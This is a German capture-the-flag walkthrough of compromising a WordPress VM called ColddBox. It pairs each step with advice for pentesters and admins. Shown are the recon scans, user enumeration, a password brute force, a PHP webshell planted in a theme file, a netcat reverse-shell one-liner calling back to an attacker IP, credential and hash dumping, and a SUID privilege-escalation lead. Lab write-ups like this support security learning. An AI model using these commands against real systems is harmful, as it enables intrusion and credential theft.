**Analyse:** Der erste Schritt ist die Identifizierung aktiver Hosts im lokalen Netzwerksegment. `arp-scan` sendet ARP-Anfragen, um herauszufinden, welche IP-Adressen von welchen MAC-Adressen verwendet werden. Das `-l` Flag steht für `--localnet` und weist `arp-scan` an, das gesamte lokale Subnetz zu scannen.
**Bewertung:** Dieser Befehl ist sehr effektiv für die schnelle Host-Entdeckung in lokalen Netzen, da er auf Layer 2 arbeitet und oft weniger auffällig ist als ein Ping-Sweep. Die Ausgabe zeigt die IP-Adresse `192.168.2.119` und die zugehörige MAC-Adresse `08:00:27:5a:df:e2`, die zu `PCS Systemtechnik GmbH` gehört (oft ein Indikator für VirtualBox).
**Empfehlung (Pentester):** Immer `arp-scan -l` oder ähnliche Tools (wie `netdiscover`) zu Beginn in lokalen Netzen verwenden, um Ziele zu identifizieren.
**Empfehlung (Admin):** Netzwerk-Monitoring kann helfen, Scans zu erkennen. Eine klare Inventarisierung von Geräten im Netz ist essenziell.
192.168.2.119 08:00:27:5a:df:e2 PCS Systemtechnik GmbH
**Analyse:** Der Befehl `vi /etc/hosts` öffnet die lokale Hosts-Datei im Texteditor `vi`. Hier wird ein Eintrag hinzugefügt, der den Hostnamen `boxeasy.vln` der gefundenen IP-Adresse `192.168.2.119` zuordnet. Dies erleichtert den Zugriff auf Dienste, die möglicherweise über Hostnamen angesprochen werden müssen (z.B. Webserver mit virtuellen Hosts).
**Bewertung:** Dies ist ein wichtiger vorbereitender Schritt. Ohne diesen Eintrag könnten bestimmte Webanwendungen oder Dienste nicht korrekt über ihren Hostnamen erreicht werden. Es vereinfacht auch die Befehlseingabe und die Lesbarkeit des Berichts.
**Empfehlung (Pentester):** Immer die Hosts-Datei pflegen, wenn Hostnamen relevant sind oder vermutet werden.
**Empfehlung (Admin):** Die Verwendung von DNS ist Standard. Die Analyse von /etc/hosts auf kompromittierten Systemen kann Hinweise auf die Aktivitäten eines Angreifers geben.
192.168.2.119 boxeasy.vln
**Analyse:** Dieser `nmap`-Befehl führt einen schnellen Scan durch (`-sS` für SYN-Scan, `-sC` für Standard-Scripts, `-sV` für Versionserkennung, `-T5` für sehr aggressives Timing, `-A` für aggressive Optionen wie OS-Detektion, Version-Detection, Script-Scanning und Traceroute) auf alle Ports (`-p-`) des Ziels `192.168.2.119`. Das `| grep open` filtert die Ausgabe, um nur die Zeilen anzuzeigen, die offene Ports enthalten.
**Bewertung:** Dieser Befehl gibt einen ersten schnellen Überblick über die offenen Ports. Er identifiziert Port 80 (HTTP) und Port 4512 (SSH). Das `-T5` und `-A` kann jedoch auf manchen Systemen oder in sensiblen Netzen zu ungenauen Ergebnissen führen oder IDS/IPS auslösen.
**Empfehlung (Pentester):** Nützlich für einen ersten schnellen Blick. Für genauere Ergebnisse sollte ein vollständiger Scan ohne `-T5` folgen. Die Filterung mit `grep` ist praktisch, aber die vollständige Ausgabe enthält mehr Details.
**Empfehlung (Admin):** Firewall-Regeln sollten nur notwendige Ports freigeben. Intrusion Detection Systeme (IDS) können aggressive Scans wie `-T5` erkennen.
80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) 4512/tcp open ssh penSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
**Analyse:** Dies ist ein detaillierterer `nmap`-Scan mit denselben Optionen wie zuvor (`-sS`, `-sC`, `-sV`, `-T5`, `-A`, `-p-`), aber ohne die Filterung durch `grep`. Diesmal wird die vollständige Ausgabe angezeigt.
**Bewertung:** Die Ausgabe bestätigt die offenen Ports 80 (HTTP, Apache 2.4.18 auf Ubuntu) und 4512 (SSH, OpenSSH 7.2p2 auf Ubuntu). Wichtige zusätzliche Informationen werden sichtbar: * Die Website auf Port 80 scheint ein WordPress-Blog (Version 4.1.31) zu sein (`http-generator`). * Der Titel der Seite ist "ColddBox | ne more machine". * Die SSH-Hostkeys werden angezeigt. * Nmap versucht, das Betriebssystem zu erraten (verschiedene Linux-Versionen). * Traceroute zeigt nur einen Hop, was bestätigt, dass das Ziel im lokalen Netzwerk ist.
**Empfehlung (Pentester):** Die vollständige Nmap-Ausgabe ist essenziell. Notiere die spezifischen Versionen (Apache, WordPress, OpenSSH, OS), da diese auf bekannte Schwachstellen hinweisen können. Der SSH-Port 4512 ist ungewöhnlich und sollte notiert werden.
**Empfehlung (Admin):** Halte alle Dienste (Webserver, CMS, SSH, OS) auf dem neuesten Stand, um bekannte Schwachstellen zu vermeiden. Verwende Standardports nur, wenn nötig, aber Security through Obscurity (abweichender Port) ist kein Ersatz für echte Sicherheitsmaßnahmen. Verhindere das Offenlegen detaillierter Versionsinformationen (z.B. in Server-Headern).
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-30 16:12 CEST Nmap scan report for boxeasy.vln (192.168.2.119) Host is up (0.00012s latency). Not shown: 65533 closed tcp ports (reset) PRT STATE SERVICE VERSIN 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-generator: WordPress 4.1.31 |_http-title: ColddBox | ne more machine |_http-server-header: Apache/2.4.18 (Ubuntu) 4512/tcp open ssh penSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 4e:bf:98:c0:9b:c5:36:80:8c:96:e8:96:95:65:97:3b (RSA) | 256 88:17:f1:a8:44:f7:f8:06:2f:d3:4f:73:32:98:c7:c5 (ECDSA) |_ 256 f2:fc:6c:75:08:20:b1:b2:51:2d:94:d6:94:d7:51:4f (ED25519) MAC Address: 08:00:27:5A:DF:E2 (racle VirtualBox virtual NIC) Aggressive S guesses: Linux 3.2 - 4.9 (96%), Linux 3.2.0 (94%), Linux 3.10 - 4.11 (94%), Linux 3.13 (93%), penWrt Chaos Calmer 15.05 (Linux 3.18) or Designated Driver (Linux 4.1 or 4.4) (93%), Linux 4.10 (93%), Android 5.0 - 6.0.1 (Linux 3.4) (93%), Linux 3.2 - 3.10 (93%), Linux 3.2 - 3.16 (93%), Linux 4.2 (93%) No exact S matches for host (test conditions non-ideal). Network Distance: 1 hop Service Info: S: Linux; CPE: cpe:/o:linux:linux_kernel TRACERUTE HP RTT ADDRESS 1 0.12 ms boxeasy.vln (192.168.2.119)
**Analyse:** `gobuster` wird verwendet, um Verzeichnisse und Dateien auf dem Webserver zu finden (Directory Brute-Forcing). * `dir`: Gibt den Modus für die Verzeichnissuche an. * `-u http://boxeasy.vln`: Die Ziel-URL. * `-x ...`: Eine lange Liste von Dateiendungen, nach denen zusätzlich gesucht werden soll. * `-w "/usr/share/seclists/...medium.txt"`: Die Wortliste, die für die Suche verwendet wird. * `-b '403,404'`: Statuscodes, die ausgeblendet werden sollen (nicht gefundene oder verbotene Seiten). * `-e`: Erweiterter Modus, zeigt die vollständige URL an. * `--no-error`: Blendet Verbindungsfehler aus.
**Bewertung:** Dieser Befehl ist sehr nützlich, um versteckte oder nicht verlinkte Inhalte auf einem Webserver zu entdecken. Die Ergebnisse zeigen typische WordPress-Pfade (`/wp-content`, `/wp-login.php`, `/wp-includes`, `/wp-admin`, `/xmlrpc.php`), aber auch eine Lizenzdatei (`/license.txt`), eine Readme (`/readme.html`) und ein potenziell interessantes Verzeichnis `/hidden`. Der Statuscode 301 bedeutet eine Weiterleitung.
**Empfehlung (Pentester):** Führe immer Directory Brute-Forcing durch. Untersuche gefundene Verzeichnisse und Dateien genauer, insbesondere solche, die nicht zum Standard gehören (wie `/hidden`). Die gefundenen WordPress-Pfade sind Angriffspunkte für spezialisierte Tools wie `wpscan`.
**Empfehlung (Admin):** Beschränke den Zugriff auf unnötige Dateien und Verzeichnisse. Verwende `robots.txt` nicht als Sicherheitsmechanismus, da Tools wie `gobuster` es ignorieren. Implementiere Rate Limiting oder Web Application Firewalls (WAFs), um Brute-Force-Scans zu erschweren.
http://boxeasy.vln/index.php (Status: 301) [Size: 0] [--> http://boxeasy.vln/] http://boxeasy.vln/wp-content (Status: 301) [Size: 315] [--> http://boxeasy.vln/wp-content/] http://boxeasy.vln/wp-login.php (Status: 200) [Size: 2547] http://boxeasy.vln/license.txt (Status: 200) [Size: 19930] http://boxeasy.vln/wp-includes (Status: 301) [Size: 316] [--> http://boxeasy.vln/wp-includes/] http://boxeasy.vln/readme.html (Status: 200) [Size: 7173] http://boxeasy.vln/wp-trackback.php (Status: 200) [Size: 135] http://boxeasy.vln/wp-admin (Status: 301) [Size: 313] [--> http://boxeasy.vln/wp-admin/] http://boxeasy.vln/hidden (Status: 301) [Size: 311] [--> http://boxeasy.vln/hidden/] http://boxeasy.vln/xmlrpc.php (Status: 200) [Size: 42]
**Analyse:** Dieser Abschnitt zeigt manuell gefundene Informationen aus Kommentaren auf der Webseite, spezifisch unter `http://boxeasy.vln/?p=1#comment-2`. Es wurden zwei potenzielle Benutzernamen oder Hinweise gefunden: `Sr Hott` und `Coldd`.
**Bewertung:** Kommentare sind oft eine Quelle für Informationslecks, einschließlich Benutzernamen, E-Mail-Adressen oder interner Hinweise. `Coldd` könnte ein relevanter Benutzername sein.
**Empfehlung (Pentester):** Immer den Quellcode von Webseiten und insbesondere Kommentare manuell untersuchen.
**Empfehlung (Admin):** Schulen Sie Benutzer und Entwickler darin, keine sensiblen Informationen in Kommentaren zu hinterlassen. Entfernen oder moderieren Sie Kommentare regelmäßig.
-------------------------------------------------------------------------------------------- http://boxeasy.vln/?p=1#comment-2 Sr Hott Coldd --------------------------------------------------------------------------------------------
**Analyse:** `wpscan`, ein spezialisierter WordPress-Scanner, wird verwendet, um Benutzer auf der WordPress-Instanz zu enumerieren. * `--url http://boxeasy.vln/wp-login.php`: Die Ziel-URL (hier spezifisch die Login-Seite). * `-e u`: Enumeriere Benutzer (`u`). * `--api-token ...`: Ein API-Token für die WPScan Vulnerability Database, um Schwachstelleninformationen abzurufen (hier nicht primär genutzt, da nur User enum).
**Bewertung:** Interessanterweise findet dieser erste `wpscan`-Lauf keine Benutzer (`[i] No Users Found.`). Dies könnte daran liegen, dass die spezifische Enumerationsmethode (die WPScan hier standardmäßig wählt oder die auf `/wp-login.php` angewendet wird) nicht erfolgreich war oder keine Benutzer auf diesem Weg exponiert sind.
**Empfehlung (Pentester):** Wenn eine Methode fehlschlägt, andere Enumerationsmethoden von WPScan versuchen (`-e u1-10`, `--enumerate u`). Verschiedene Endpunkte als URL testen (z.B. die Haupt-URL statt nur `wp-login.php`).
**Empfehlung (Admin):** WordPress-Sicherheitsplugins können Benutzer-Enumeration erschweren (z.B. durch Blockieren von Anfragen oder Ändern von Standardverhalten).
[i] No Users Found. [+] WPScan DB API K | Plan: free | Requests Done (during the scan): 1 | Requests Remaining: 23 [+] Finished: Fri Jun 30 16:18:47 2023 [+] Requests Done: 71 [+] Cached Requests: 8 [+] Data Sent: 19.127 KB [+] Data Received: 152.134 KB [+] Memory used: 116.629 MB [+] Elapsed time: 00:00:01
**Analyse:** Dieser Text stammt aus der Datei `index.html` im Verzeichnis `/hidden`, das zuvor mit `gobuster` gefunden wurde. Es handelt sich um eine Nachricht von "Philip" an "C0ldd" bezüglich eines geänderten Passworts für "Hugo".
**Bewertung:** Dies ist ein Goldfund! Es enthüllt drei potenzielle Benutzernamen: `C0ldd`, `Hugo` und `Philip`. Diese Information ist extrem wertvoll für nachfolgende Angriffsversuche wie Passwort-Brute-Forcing.
**Empfehlung (Pentester):** Verzeichnisse, die durch Brute-Forcing gefunden wurden, immer genau untersuchen. Solche Nachrichten deuten oft auf mangelnde Sicherheitsrichtlinien hin.
**Empfehlung (Admin):** Keine sensiblen Informationen oder internen Kommunikationen in öffentlich zugänglichen Webverzeichnissen ablegen. Zugriffskontrollen implementieren und regelmäßig auf verwaiste oder unsichere Dateien prüfen.
http://boxeasy.vln/hidden/index.html U-R-G-E-N-T C0ldd, you changed Hugo's password, when you can send it to him so he can continue uploading his articles. Philip --------------------------------------------------------------------------------------------
**Analyse:** Diese Blöcke zeigen fehlgeschlagene Login-Versuche auf der WordPress-Login-Seite (`wp-login.php`) für die zuvor identifizierten Benutzernamen `philip`, `hugo` und `c0ldd`. Die Fehlermeldung "ERROR: The password you entered for the username [...] is incorrect." bestätigt indirekt, dass die Benutzernamen existieren.
**Bewertung:** Die Fehlermeldungen bestätigen die Existenz der Benutzernamen `philip`, `hugo` und `c0ldd`. Dies ist eine Form der Benutzer-Enumeration durch Login-Fehlermeldungen. Die Nachricht aus `/hidden/index.html` wird hierdurch validiert.
**Empfehlung (Pentester):** Nutze die bestätigten Benutzernamen für Passwort-Angriffe (Brute-Force, Passwort-Spray).
**Empfehlung (Admin):** Konfiguriere WordPress (oder verwende ein Plugin), um generische Fehlermeldungen anzuzeigen, die nicht verraten, ob der Benutzername oder das Passwort falsch war (z.B. "Ungültige Anmeldedaten"). Implementiere Account Lockout Policies und Captchas, um Brute-Force-Angriffe zu erschweren.
http://boxeasy.vln/wp-login.php ERRR: The password you entered for the username philip is incorrect. Lost your password? philip -------------------------------------------------------------------------------------------- http://boxeasy.vln/wp-login.php ERRR: The password you entered for the username hugo is incorrect. Lost your password? hugo -------------------------------------------------------------------------------------------- http://boxeasy.vln/wp-login.php ERRR: The password you entered for the username c0lddis incorrect. Lost your password? c0ldd --------------------------------------------------------------------------------------------
**Analyse:** Ein weiterer `wpscan`-Lauf wird gestartet, diesmal gegen die Haupt-URL (`http://boxeasy.vln`) und wieder mit der Option `-e u` zur Benutzer-Enumeration.
**Bewertung:** Dieser Scan ist erfolgreich und identifiziert vier Benutzer: `the cold in person` (wahrscheinlich ein Anzeigename), `hugo`, `c0ldd` und `philip`. WPScan nutzt verschiedene Methoden (Passiv via RSS, Aggressiv via Author ID Brute-Forcing und Bestätigung durch Login-Fehler), um die Benutzer zu finden. Dies bestätigt die zuvor durch die Nachricht und die Login-Versuche gewonnenen Erkenntnisse.
**Empfehlung (Pentester):** Wenn ein WPScan-Lauf keine Ergebnisse liefert, variiere die Ziel-URL und die Enumerationsmethoden. Die Liste der bestätigten Benutzernamen ist nun die Grundlage für den nächsten Schritt.
**Empfehlung (Admin):** Ergreife Maßnahmen gegen Benutzer-Enumeration, wie oben beschrieben (Plugins, generische Fehlermeldungen).
[i] User(s) Identified: [+] the cold in person | Found By: Rss Generator (Passive Detection) [+] hugo | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection) | Confirmed By: Login Error Messages (Aggressive Detection) [+] c0ldd | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection) | Confirmed By: Login Error Messages (Aggressive Detection) [+] philip | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection) | Confirmed By: Login Error Messages (Aggressive Detection) [+] WPScan DB API K | Plan: free | Requests Done (during the scan): 2 | Requests Remaining: 21 [+] Finished: Fri Jun 30 16:27:15 2023 [+] Requests Done: 63 [+] Cached Requests: 6 [+] Data Sent: 15.992 KB [+] Data Received: 282.777 KB [+] Memory used: 148.953 MB [+] Elapsed time: 00:00:01
**Analyse:** `wpscan` wird nun für einen Passwort-Brute-Force-Angriff verwendet. * `--url http://boxeasy.vln/wp-login.php`: Ziel ist die Login-Seite. * `--usernames c0ldd`: Der Angriff konzentriert sich auf den Benutzer `c0ldd`. * `--passwords /usr/share/wordlists/rockyou.txt`: Die bekannte Wortliste `rockyou.txt` wird verwendet. * `--api-token ...`: API-Token.
**Bewertung:** Der Angriff ist erfolgreich! WPScan findet eine gültige Kombination: Benutzer `c0ldd` mit dem Passwort `9876543210`. Dies gewährt uns initialen Zugriff auf das WordPress-Backend.
**Empfehlung (Pentester):** Passwort-Brute-Force ist oft erfolgreich gegen schwache Passwörter. Priorisiere Benutzer, die in vorherigen Schritten auffällig wurden (z.B. `c0ldd` aus der Nachricht).
**Empfehlung (Admin):** Erzwinge starke Passwortrichtlinien. Implementiere Account Lockout und Captchas. Verwende keine einfachen oder gebräuchlichen Passwörter. Überwache Login-Versuche.
[+] Performing password attack on Wp Login against 1 user/s [SUCCESS] - c0ldd / 9876543210 Trying c0ldd / 9876543210 Time: 00:00:13 < > (1230 / 14345628) 0.00% ETA: ??:??:?? [!] Valid Combinations Found: | Username: c0ldd, Password: 9876543210 [+] WPScan DB API K | Plan: free | Requests Done (during the scan): 0 | Requests Remaining: 21 [+] Finished: Fri Jun 30 16:28:57 2023 [+] Requests Done: 1371 [+] Cached Requests: 185 [+] Data Sent: 474.129 KB [+] Data Received: 4.562 MB [+] Memory used: 254.965 MB [+] Elapsed time: 00:00:19
**Analyse:** Nach dem erfolgreichen Login als `c0ldd` wird der Theme-Editor von WordPress aufgerufen (`wp-admin/theme-editor.php`). Spezifisch wird die Datei `404.php` des Themes `twentyfourteen` bearbeitet. In diese PHP-Datei wird eine Codezeile eingefügt: `system($_GET['cmd']);`. Diese Zeile nimmt einen Parameter namens `cmd` aus der URL entgegen und führt dessen Inhalt als Systembefehl auf dem Server aus.
**Bewertung:** Dies ist eine klassische Methode, um über einen WordPress-Adminzugang eine Webshell zu erhalten und Remote Code Execution (RCE) zu erlangen. Das Bearbeiten von Theme-Dateien ist oft möglich, wenn die Dateiberechtigungen es zulassen. Die eingefügte Zeile ist eine einfache, aber effektive Backdoor.
**Empfehlung (Pentester):** Prüfe immer, ob Theme- oder Plugin-Dateien direkt im Backend bearbeitet werden können. Dies ist ein schneller Weg zur RCE. Platziere eine Webshell oder einen Command Execution Hook.
**Empfehlung (Admin):** Deaktiviere die Bearbeitung von Theme- und Plugin-Dateien im WordPress-Backend (durch Setzen von `define('DISALLOW_FILE_EDIT', true);` in `wp-config.php`). Stelle sicher, dass die Webserver-Prozessberechtigungen auf Dateiebene restriktiv sind (kein Schreibzugriff auf PHP-Dateien, wenn möglich).
http://boxeasy.vln/wp-admin/theme-editor.php?file=404.php&theme=twentyfourteen Edit Themes Twenty Fourteen: 404 Template (404.php) Select theme to edit: // Einfügen der schädlichen Zeile: system($ GET['cmd']); * The template for displaying 404 pages (Not Found) * * @package WordPress * @subpackage Twenty_Fourteen * @since Twenty Fourteen 1.0 ... (restlicher Code der 404.php) ... [Update File] File edited successfully. --------------------------------------------------------------------------------------------
**Analyse:** Die zuvor modifizierte `404.php`-Datei wird nun direkt über ihre URL aufgerufen. An die URL wird der Parameter `?cmd=ls` angehängt. Da die Datei jetzt `system($ GET['cmd']);` enthält, führt der Server den Befehl `ls` aus. Die Ausgabe des `ls`-Befehls (die Dateiliste des Verzeichnisses `/wp-content/themes/twentyfourteen/`) wird im Browser angezeigt.
**Bewertung:** Dies bestätigt, dass die Webshell erfolgreich platziert wurde und funktioniert. Wir haben nun die Fähigkeit zur Remote Code Execution auf dem Server im Kontext des Webserver-Benutzers (wahrscheinlich `www-data`).
**Empfehlung (Pentester):** Teste die Webshell mit einfachen Befehlen (`id`, `pwd`, `ls`). Nutze diese RCE, um eine stabilere Verbindung wie eine Reverse Shell zu etablieren.
**Empfehlung (Admin):** Überwache Dateisystemänderungen (File Integrity Monitoring). Analysiere Webserver-Logs auf verdächtige Anfragen (z.B. URLs mit `cmd=` oder anderen typischen Webshell-Parametern).
http://boxeasy.vln/wp-content/themes/twentyfourteen/404.php?cmd=ls 404.php archive.php author.php category.php comments.php content-aside.php content-audio.php content-featured-post.php content-gallery.php content-image.php content-link.php content-none.php content-page.php content-quote.php content-video.php content.php css featured-content.php footer.php functions.php genericons header.php image.php images inc index.php js languages page-templates page.php rtl.css screenshot.png search.php sidebar-content.php sidebar-footer.php sidebar.php single.php style.css tag.php taxonomy-post_format.php --------------------------------------------------------------------------------------------
**Analyse:** Auf der Angreifer-Maschine wird ein Netcat-Listener gestartet (`nc -lvnp 5555`), der auf Port 5555 auf eingehende Verbindungen wartet. Anschließend wird über die Webshell (durch Aufrufen der URL mit einem speziell präparierten `cmd`-Parameter) ein Befehl auf dem Zielserver ausgeführt, der eine Reverse Shell zur Angreifer-Maschine (IP `192.168.2.137`, Port `5555`) aufbaut. Der Payload `rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.137 5555 >/tmp/f` ist ein gängiger Weg, um eine interaktive Shell über Netcat zu bekommen.
**Bewertung:** Die Reverse Shell ist erfolgreich! Der Netcat-Listener auf der Angreifer-Maschine empfängt eine Verbindung vom Zielserver (`192.168.2.119`). Wir haben nun eine interaktive Shell auf dem Zielsystem im Kontext des Webserver-Benutzers (`$`-Prompt deutet auf einen nicht-privilegierten Benutzer hin).
**Empfehlung (Pentester):** Nutze RCE, um eine Reverse Shell zu bekommen. Dies ist oft stabiler und interaktiver als eine Webshell. Versuche, die Shell zu "upgraden" (z.B. mit Python PTY) für bessere Funktionalität (Tab-Vervollständigung, Job Control).
**Empfehlung (Admin):** Verbiete ausgehende Verbindungen vom Webserver zu beliebigen Zielen (Egress Filtering). Überwache Prozessstarts auf verdächtige Befehle wie `nc`, `bash -i`, `python -c 'import socket...'`.
listening on [any] 5555 ...
connect to [192.168.2.137] from (UNKNWN) [192.168.2.119] 58046 /bin/sh: 0: can't access tty; job control turned off $
**Analyse:** Innerhalb der Reverse Shell wird der Inhalt der WordPress-Konfigurationsdatei `wp-config.php` ausgelesen. Diese Datei enthält sensible Informationen, darunter die Zugangsdaten zur WordPress-Datenbank.
**Bewertung:** Erfolg! Die Datei enthält den Datenbanknamen (`colddbox`), den Datenbankbenutzer (`c0ldd`) und das dazugehörige Passwort (`cybersecurity`). Diese Zugangsdaten könnten für weitere Systeme oder zur Eskalation von Privilegien wiederverwendet werden.
**Empfehlung (Pentester):** Suche immer nach Konfigurationsdateien von Webanwendungen. Sie enthalten oft Passwörter oder API-Schlüssel. Teste gefundene Zugangsdaten für Datenbank-Logins, SSH oder andere Dienste.
**Empfehlung (Admin):** Beschränke den Lesezugriff auf Konfigurationsdateien so weit wie möglich. Verwende separate, dedizierte Datenbankbenutzer mit minimalen Rechten für jede Anwendung. Speichere Passwörter nicht im Klartext, wenn möglich (obwohl dies bei DB-Verbindungen oft unvermeidbar ist).
define('DB_NAME', 'colddbox');
/ MySQL database username
define('DB_USER', 'c0ldd');
/ MySQL database password
define('DB_PASSWRD', 'cybersecurity');
**Analyse:** Mit den zuvor gefundenen Zugangsdaten wird versucht, sich über den MySQL-Client (`mysql`) mit der lokalen Datenbank zu verbinden. Der Benutzer ist `c0ldd` (`-u c0ldd`) und das Passwort (`cybersecurity`) wird nach Aufforderung eingegeben (`-p`).
**Bewertung:** Der Login zur MariaDB-Datenbank (ein Fork von MySQL) ist erfolgreich. Wir haben nun Zugriff auf die Datenbank `colddbox`, die von WordPress genutzt wird.
**Empfehlung (Pentester):** Nutze Datenbankzugriff, um sensible Daten (Benutzer, Passwörter, etc.) auszulesen oder möglicherweise Befehle auszuführen, falls die DB-Rechte dies erlauben (z.B. via UDFs).
**Empfehlung (Admin):** Verwende starke, einzigartige Passwörter für Datenbankkonten. Beschränke den Zugriff auf die Datenbank nur auf notwendige Hosts (z.B. localhost für die Webanwendung). Überwache Datenbank-Logins.
Enter password: ************* Welcome to the MariaDB monitor. Commands end with ; or \g. Your MariaDB connection id is 21268 Server version: 10.0.38-MariaDB-0ubuntu0.16.04.1 Ubuntu 16.04 Copyright (c) 2000, 2018, racle, MariaDB Corporation Ab and others. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. MariaDB [(none)]>
**Analyse:** Innerhalb der MariaDB-Shell werden folgende Befehle ausgeführt: * `use colddbox;`: Wählt die WordPress-Datenbank `colddbox` aus. * `show tables;`: Listet alle Tabellen in der ausgewählten Datenbank auf. * `select * from wp_users;`: Gibt alle Daten aus der Tabelle `wp_users` aus, die Benutzerinformationen enthält.
**Bewertung:** Die Abfrage der `wp_users`-Tabelle ist besonders interessant. Sie zeigt die Benutzer-IDs, Logins (`c0ldd`, `hugo`, `philip`), E-Mail-Adressen und vor allem die Passwort-Hashes (`user_pass`-Spalte). Diese Hashes sind nicht im Klartext, sondern in einem portablen Format gespeichert, das WordPress verwendet (beginnend mit `$P$B...`).
**Empfehlung (Pentester):** Extrahiere die Passwort-Hashes. Versuche, sie offline mit Tools wie `hashcat` oder `John the Ripper` zu knacken. Selbst wenn das Knacken nicht gelingt, bestätigt es die Benutzerliste.
**Empfehlung (Admin):** Obwohl WordPress die Passwörter hasht, können schwache Passwörter immer noch geknackt werden. Erzwinge starke Passwörter. Schütze den Datenbankzugriff, um das Auslesen der Hashes zu verhindern.
Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A Database changed
+-----------------------+ | Tables_in_colddbox | +-----------------------+ | wp_commentmeta | | wp_comments | | wp_links | | wp_options | | wp_postmeta | | wp_posts | | wp_term_relationships | | wp_term_taxonomy | | wp_terms | | wp_usermeta | | wp_users | +-----------------------+ 11 rows in set (0.00 sec)
+----+------------+------------------------------------+---------------+----------------------+----------+---------------------+---------------------+-------------+--------------------+ | ID | user_login | user_pass | user_nicename | user_email | user_url | user_registered | user_activation_key | user_status | display_name | +----+------------+------------------------------------+---------------+----------------------+----------+---------------------+---------------------+-------------+--------------------+ | 1 | c0ldd | $P$BJs9aAEh2WaBXC2zFhhoBrDUmN1g0i1 | c0ldd | c0ldd@localhost.com | | 2020-09-24 15:06:57 | | 0 | the cold in person | | 2 | hugo | $P$B2512D1ABvEkkcFZ5lLilbqYFT1plC/ | hugo | hugo@localhost.com | | 2020-09-24 15:48:13 | | 0 | hugo | | 4 | philip | $P$BXZ9bXCbA1JQuaCquuIiY4vyzjK/Y. | philip | philip@localhost.com | | 2020-10-19 17:38:25 | | 0 | philip | +----+------------+------------------------------------+---------------+----------------------+----------+---------------------+---------------------+-------------+--------------------+ 3 rows in set (0.00 sec)
**Analyse:** Der Befehl `find / -type f -perm -4000 -ls 2>/dev/null` wird verwendet, um nach Dateien mit gesetztem SUID-Bit zu suchen. * `find /`: Startet die Suche im Root-Verzeichnis. * `-type f`: Sucht nur nach Dateien. * `-perm -4000`: Sucht nach Dateien, bei denen das SUID-Bit gesetzt ist (erlaubt die Ausführung mit den Rechten des Dateibesitzers, oft `root`). * `-ls`: Gibt detaillierte Informationen zu den gefundenen Dateien im `ls -la`-Format aus. * `2>/dev/null`: Leitet Fehlermeldungen (wie "Permission denied") ins Nichts um, um die Ausgabe sauber zu halten.
**Bewertung:** Die Ausgabe listet eine Reihe von Standard-SUID-Binaries auf (`su`, `ping`, `mount`, `sudo`, `pkexec`, etc.). Auffällig ist hier insbesondere `/usr/bin/find` selbst. Wenn `find` SUID `root` ist, kann dies oft zur Privilege Escalation missbraucht werden, da `find` die Option `-exec` hat, um Befehle auszuführen.
**Empfehlung (Pentester):** Untersuche die Liste der SUID-Dateien sorgfältig. Suche auf GTFOBins oder anderen Ressourcen nach bekannten Privilege Escalation Techniken für jede gefundene SUID-Datei, insbesondere für ungewöhnliche oder solche, die Befehlsausführung erlauben (wie `find`, `vim`, `bash`, etc.). Hier ist `/usr/bin/find` der vielversprechendste Kandidat.
**Empfehlung (Admin):** Überprüfe regelmäßig SUID/SGID-Berechtigungen. Entferne das SUID-Bit von Binaries, wo es nicht zwingend benötigt wird. Sei besonders vorsichtig bei Programmen, die Shell-Zugriff oder beliebige Befehlsausführung ermöglichen.
259674 40 -rwsr-xr-x 1 root root 40128 Mar 26 2019 /bin/su 259658 44 -rwsr-xr-x 1 root root 44680 May 7 2014 /bin/ping6 259657 44 -rwsr-xr-x 1 root root 44168 May 7 2014 /bin/ping 271762 32 -rwsr-xr-x 1 root root 30800 Jul 12 2016 /bin/fusermount 259691 28 -rwsr-xr-x 1 root root 27608 Jan 27 2020 /bin/umount 259647 40 -rwsr-xr-x 1 root root 40152 Jan 27 2020 /bin/mount 266 40 -rwsr-xr-x 1 root root 40432 Mar 26 2019 /usr/bin/chsh 322 76 -rwsr-xr-x 1 root root 75304 Mar 26 2019 /usr/bin/gpasswd 23747 24 -rwsr-xr-x 1 root root 23376 Mar 27 2019 /usr/bin/pkexec 313 220 -rwsr-xr-x 1 root root 221768 Feb 8 2016 /usr/bin/find 471 136 -rwsr-xr-x 1 root root 136808 Jan 31 2020 /usr/bin/sudo 21705 36 -rwsr-xr-x 1 root root 32944 Mar 26 2019 /usr/bin/newgidmap 381 40 -rwsr-xr-x 1 root root 39904 Mar 26 2019 /usr/bin/newgrp 23202 52 -rwsr-sr-x 1 daemon daemon 51464 Jan 14 2016 /usr/bin/at 21706 36 -rwsr-xr-x 1 root root 32944 Mar 26 2019 /usr/bin/newuidmap 264 72 -rwsr-xr-x 1 root root 71824 Mar 26 2019 /usr/bin/chfn 391 56 -rwsr-xr-x 1 root root 54256 Mar 26 2019 /usr/bin/passwd 22793 420 -rwsr-xr-x 1 root root 428240 May 27 2020 /usr/lib/openssh/ssh-keysign 23819 112 -rwsr-xr-x 1 root root 110792 Jul 10 2020 /usr/lib/snapd/snap-confine 145199 84 -rwsr-xr-x 1 root root 84120 Apr 9 2019 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic 568 12 -rwsr-xr-x 1 root root 10232 Mar 27 2017 /usr/lib/eject/dmcrypt-get-device 147595 16 -rwsr-xr-x 1 root root 14864 Mar 27 2019 /usr/lib/policykit-1/polkit-agent-helper-1 271341 44 -rwsr-xr-- 1 root messagebus 42992 Jun 11 2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
**Analyse:** Mit `ls -la /etc/passwd` werden die Berechtigungen und Metadaten der Passwortdatei angezeigt. Sie ist für jeden lesbar (`-rw-r--r--`).
**Bewertung:** Dies ist die Standardberechtigung für `/etc/passwd`. Sie enthält keine Passwort-Hashes (diese sind in `/etc/shadow`, die nicht für alle lesbar sein sollte), aber die Liste der Benutzerkonten auf dem System.
**Empfehlung (Pentester):** Lese `/etc/passwd`, um eine Liste der Systembenutzer zu erhalten. Dies kann bei der Suche nach Home-Verzeichnissen oder bei späteren Angriffen nützlich sein.
